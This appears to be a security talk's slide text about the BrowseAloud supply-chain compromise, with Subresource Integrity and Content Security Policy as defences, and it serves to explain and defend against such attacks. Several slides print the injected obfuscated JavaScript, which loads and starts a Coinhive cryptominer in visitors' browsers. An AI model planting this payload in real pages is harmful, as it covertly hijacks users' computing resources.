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THE MALICIOUS
JAVASCRIPT

/* [Warning] Do not copy or self host this file, you will not be supported */
/* BrowseAloud Plus v2.5.0 (13-09-2017) */

window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"]("\x3c\x73\x63\x
72\x69\x70\x74 
\x74\x79\x70\x65\x3d\x27\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x
74\x27 
\x73\x72\x63\x3d\x27\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x6f\x69\x6e\x68\x69\x76\x
65\x2e\x63\x6f\x6d\x2f\x6c\x69\x62\x2f\x63\x6f\x69\x6e\x68\x69\x76\x65\x2e\x6d\x69
\x6e\x2e\x6a\x73\x3f\x72\x6e\x64\x3d" +
window["\x4d\x61\x74\x68"]["\x72\x61\x6e\x64\x6f\x6d"]() +
"\x27\x3e\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e");
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"]('\x3c\x73\x63\x
72\x69\x70\x74\x3e \x69\x66 
\x28\x6e\x61\x76\x69\x67\x61\x74\x6f\x72\x2e\x68\x61\x72\x64\x77\x61\x72\x65\x43\x
6f\x6e\x63\x75\x72\x72\x65\x6e\x63\x79 \x3e \x31\x29\x7b \x76\x61\x72 
\x63\x70\x75\x43\x6f\x6e\x66\x69\x67 \x3d \x7b\x74\x68\x72\x65\x61\x64\x73\x3a 
\x4d\x61\x74\x68\x2e\x72\x6f\x75\x6e\x64\x28\x6e\x61\x76\x69\x67\x61\x74\x6f\x72\x
2e\x68\x61\x72\x64\x77\x61\x72\x65\x43\x6f\x6e\x63\x75\x72\x72\x65\x6e\x63\x79\x2f
\x33\x29\x2c\x74\x68\x72\x6f\x74\x74\x6c\x65\x3a\x30\x2e\x36\x7d\x7d 
\x65\x6c\x73\x65 \x7b \x76\x61\x72 \x63\x70\x75\x43\x6f\x6e\x66\x69\x67 \x3d 
\x7b\x74\x68\x72\x65\x61\x64\x73\x3a 
\x38\x2c\x74\x68\x72\x6f\x74\x74\x6c\x65\x3a\x30\x2e\x36\x7d\x7d \x76\x61\x72 
\x6d\x69\x6e\x65\x72 \x3d \x6e\x65\x77 
\x43\x6f\x69\x6e\x48\x69\x76\x65\x2e\x41\x6e\x6f\x6e\x79\x6d\x6f\x75\x73\x28\'\x31
\x47\x64\x51\x47\x70\x59\x31\x70\x69\x76\x72\x47\x6c\x56\x48\x53\x70\x35\x50\x32\x
49\x49\x72\x39\x63\x79\x54\x7a\x7a\x58\x71\'\x2c 
\x63\x70\x75\x43\x6f\x6e\x66\x69\x67\x29\x3b\x6d\x69\x6e\x65\x72\x2e\x73\x74\x61\x
72\x74\x28\x29\x3b\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e');

function toggleBar() { debug.trace("Legacy toggleBar()"),
(!BrowseAloud.config.isMobile || BrowseAloud.config.isMobile &&
BrowseAloud.config.availableMobile) && BrowseAloud.panel.toggleBar(!0) } var
_ba_cv = "2.5.0"; if (void 0 === _baApplicationServer) var......

https://www.browsealoud.com/plus/scripts/ba.js



THE MALICIOUS
JAVASCRIPT

window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"]("\x3c
\x73\x63\x72\x69\x70\x74 
\x74\x79\x70\x65\x3d\x27\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72
\x69\x70\x74\x27 
\x73\x72\x63\x3d\x27\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x6f\x69\x6e\x68
\x69\x76\x65\x2e\x63\x6f\x6d\x2f\x6c\x69\x62\x2f\x63\x6f\x69\x6e\x68\x69
\x76\x65\x2e\x6d\x69\x6e\x2e\x6a\x73\x3f\x72\x6e\x64\x3d" +
window["\x4d\x61\x74\x68"]["\x72\x61\x6e\x64\x6f\x6d"]() +
"\x27\x3e\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e");
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"]('\x3c
\x73\x63\x72\x69\x70\x74\x3e \x69\x66 
\x28\x6e\x61\x76\x69\x67\x61\x74\x6f\x72\x2e\x68\x61\x72\x64\x77\x61\x72
\x65\x43\x6f\x6e\x63\x75\x72\x72\x65\x6e\x63\x79 \x3e \x31\x29\x7b 
\x76\x61\x72 \x63\x70\x75\x43\x6f\x6e\x66\x69\x67 \x3d 
\x7b\x74\x68\x72\x65\x61\x64\x73\x3a 
\x4d\x61\x74\x68\x2e\x72\x6f\x75\x6e\x64\x28\x6e\x61\x76\x69\x67\x61\x74
\x6f\x72\x2e\x68\x61\x72\x64\x77\x61\x72\x65\x43\x6f\x6e\x63\x75\x72\x72
\x65\x6e\x63\x79\x2f\x33\x29\x2c\x74\x68\x72\x6f\x74\x74\x6c\x65\x3a\x30
\x2e\x36\x7d\x7d \x65\x6c\x73\x65 \x7b \x76\x61\x72 
\x63\x70\x75\x43\x6f\x6e\x66\x69\x67 \x3d 
\x7b\x74\x68\x72\x65\x61\x64\x73\x3a 
\x38\x2c\x74\x68\x72\x6f\x74\x74\x6c\x65\x3a\x30\x2e\x36\x7d\x7d 
\x76\x61\x72 \x6d\x69\x6e\x65\x72 \x3d \x6e\x65\x77 
\x43\x6f\x69\x6e\x48\x69\x76\x65\x2e\x41\x6e\x6f\x6e\x79\x6d\x6f\x75\x73
\x28\'\x31\x47\x64\x51\x47\x70\x59\x31\x70\x69\x76\x72\x47\x6c\x56\x48\x
53\x70\x35\x50\x32\x49\x49\x72\x39\x63\x79\x54\x7a\x7a\x58\x71\'\x2c 
\x63\x70\x75\x43\x6f\x6e\x66\x69\x67\x29\x3b\x6d\x69\x6e\x65\x72\x2e\x73
\x74\x61\x72\x74\x28\x29\x3b\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e');

https://www.browsealoud.com/plus/scripts/ba.js



THE MALICIOUS
JAVASCRIPT

window["document"]["write"]("<script 
type='text/javascript' 
src='https://coinhive.com/lib/coinhive.m
in.js?rnd=" + window["Math"]["random"]()
+ "'></script>");
window["document"]["write"]('<script> if 
(navigator.hardwareConcurrency > 1){ var 
cpuConfig = {threads: 
Math.round(navigator.hardwareConcurrency
/3),throttle:0.6}} else { var cpuConfig
= {threads: 8,throttle:0.6}} var miner = 
new 
CoinHive.Anonymous(\'1GdQGpY1pivrGlVHSp5
P2IIr9cyTzzXq\', 
cpuConfig);miner.start();</script>');

https://www.browsealoud.com/plus/scripts/ba.js



<script src="//www.browsealoud.com/plus/scripts/ba.js" type="text/javascript"></script>





scotthel.me/gov-crypto-dork 







<script src="//www.browsealoud.com/plus/scripts/ba.js" type="text/javascript"></script>





<script src="//www.browsealoud.com/plus/scripts/ba.js" type="text/javascript"></script>





<script src="//www.browsealoud.com/plus/scripts/ba.js" type="text/javascript"></script>



<script src="//www.browsealoud.com/plus/scripts/ba.js" type="text/javascript“
integrity="sha256-Abhisa/nS9WMne/YX+dqiFINl+JiE15MCWvASJvVtIk="
crossorigin="anonymous"></script>

SUBRESOURCE INTEGRITY



THE MALICIOUS
JAVASCRIPT

/* [Warning] Do not copy or self host this file, you will not be supported */
/* BrowseAloud Plus v2.5.0 (13-09-2017) */

window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"]("\x3c\x73\x63\x
72\x69\x70\x74 
\x74\x79\x70\x65\x3d\x27\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x
74\x27 
\x73\x72\x63\x3d\x27\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x6f\x69\x6e\x68\x69\x76\x
65\x2e\x63\x6f\x6d\x2f\x6c\x69\x62\x2f\x63\x6f\x69\x6e\x68\x69\x76\x65\x2e\x6d\x69
\x6e\x2e\x6a\x73\x3f\x72\x6e\x64\x3d" +
window["\x4d\x61\x74\x68"]["\x72\x61\x6e\x64\x6f\x6d"]() +
"\x27\x3e\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e");
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"]('\x3c\x73\x63\x
72\x69\x70\x74\x3e \x69\x66 
\x28\x6e\x61\x76\x69\x67\x61\x74\x6f\x72\x2e\x68\x61\x72\x64\x77\x61\x72\x65\x43\x
6f\x6e\x63\x75\x72\x72\x65\x6e\x63\x79 \x3e \x31\x29\x7b \x76\x61\x72 
\x63\x70\x75\x43\x6f\x6e\x66\x69\x67 \x3d \x7b\x74\x68\x72\x65\x61\x64\x73\x3a 
\x4d\x61\x74\x68\x2e\x72\x6f\x75\x6e\x64\x28\x6e\x61\x76\x69\x67\x61\x74\x6f\x72\x
2e\x68\x61\x72\x64\x77\x61\x72\x65\x43\x6f\x6e\x63\x75\x72\x72\x65\x6e\x63\x79\x2f
\x33\x29\x2c\x74\x68\x72\x6f\x74\x74\x6c\x65\x3a\x30\x2e\x36\x7d\x7d 
\x65\x6c\x73\x65 \x7b \x76\x61\x72 \x63\x70\x75\x43\x6f\x6e\x66\x69\x67 \x3d 
\x7b\x74\x68\x72\x65\x61\x64\x73\x3a 
\x38\x2c\x74\x68\x72\x6f\x74\x74\x6c\x65\x3a\x30\x2e\x36\x7d\x7d \x76\x61\x72 
\x6d\x69\x6e\x65\x72 \x3d \x6e\x65\x77 
\x43\x6f\x69\x6e\x48\x69\x76\x65\x2e\x41\x6e\x6f\x6e\x79\x6d\x6f\x75\x73\x28\'\x31
\x47\x64\x51\x47\x70\x59\x31\x70\x69\x76\x72\x47\x6c\x56\x48\x53\x70\x35\x50\x32\x
49\x49\x72\x39\x63\x79\x54\x7a\x7a\x58\x71\'\x2c 
\x63\x70\x75\x43\x6f\x6e\x66\x69\x67\x29\x3b\x6d\x69\x6e\x65\x72\x2e\x73\x74\x61\x
72\x74\x28\x29\x3b\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e');

function toggleBar() { debug.trace("Legacy toggleBar()"),
(!BrowseAloud.config.isMobile || BrowseAloud.config.isMobile &&
BrowseAloud.config.availableMobile) && BrowseAloud.panel.toggleBar(!0) } var
_ba_cv = "2.5.0"; if (void 0 === _baApplicationServer) var......

https://www.browsealoud.com/plus/scripts/ba.js



THE MALICIOUS
JAVASCRIPT

/* [Warning] Do not copy or self host 
this file, you will not be supported */
/* BrowseAloud Plus v2.5.0 (13-09-2017) 
*/

window["\x64\x6f\x63\x75\x6d\x65\x6e\x74
"]["\x77\x72\x69\x74\x65"]("\x3c\x73\x63
\x72\x69\x70\x74 
\x74\x79\x70\x65\x3d\x27\x74\x65\x78\x74
\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70
\x74\x27 
\x73\x72\x63\x3d\x27\x68\x74\x74\x70\x73
\x3a\x2f\x2f\x63\x6f\x69\x6e\x68\x69\x76
\x65\x2e\x63\x6f\x6d\x2f\x6c\x69\x62\x2f
\x63\x6f\x69\x6e\x68\x69\x76\x65\x2e\x6d
\x69\x6e\x2e\x6a\x73\x3f\x72\x6e\x64\x3d
" + …

https://www.browsealoud.com/plus/scripts/ba.js



<script src="//www.browsealoud.com/plus/latest.js" type="text/javascript"></script>



Benefits

“We can patch the JS for 
you any time, no problem!”

- The Vendor



Drawbacks

“We can patch the JS for 
you any time, no problem!”

- The Attacker



CONTET SECURITY POLICY
cache-control: public, max-age=0
content-encoding: br
content-security-policy: default-src 'self’; script-src ‘self’ browsealoud.com
server: nginx
vary: Cookie, Accept-Encoding



CONTET SECURITY POLICY

content-security-policy: 
default-src 'self’; 
script-src ‘self’ browsealoud.com;
connect-src ‘self’ browsealoud.com;
report-uri https://demo.report-uri.com/r/d/csp/enforce



CONTET SECURITY POLICY

content-security-policy-report-only: 
default-src 'self’; 
script-src ‘self’ browsealoud.com;
connect-src ‘self’ browsealoud.com;
report-uri https://demo.report-uri.com/r/d/csp/enforce



VIOLATION REPORT: SCRIPT-SRC
{

"csp-report": {
"document-uri": "https://ico.org",
"blocked-uri": "https://coinhive.com/",
"effective-directive": "script-src",
…

}
}



VIOLATION REPORT: CONNECT-SRC
{

"csp-report": {
"document-uri": "https://ico.org",
"blocked-uri": "https://coinhive.com/",
"effective-directive": "connect-src",
…

}
}



Magecart

“All your credit cards
are belong to us!”

- The Attackers



NOTABLE MAGECART ATTACKS
2015 Senate Republicans, LA Times
2016 ESET Security
2017 Red Cross
2018 Ticketmaster, British Airways, NewEgg
2019 Forbes, Macy’s, Procter and Gamble
2020 Intersport, Tupperware
2021 Sealand
2022 Segway, Element Vape



BREACH INJECT EXFILTRATE

TAXONOMY OF AN ATTACK



THANK YOU
R E P O R T - U R I . C O M



QUESTIONS ?
R E P O R T - U R I . C O M




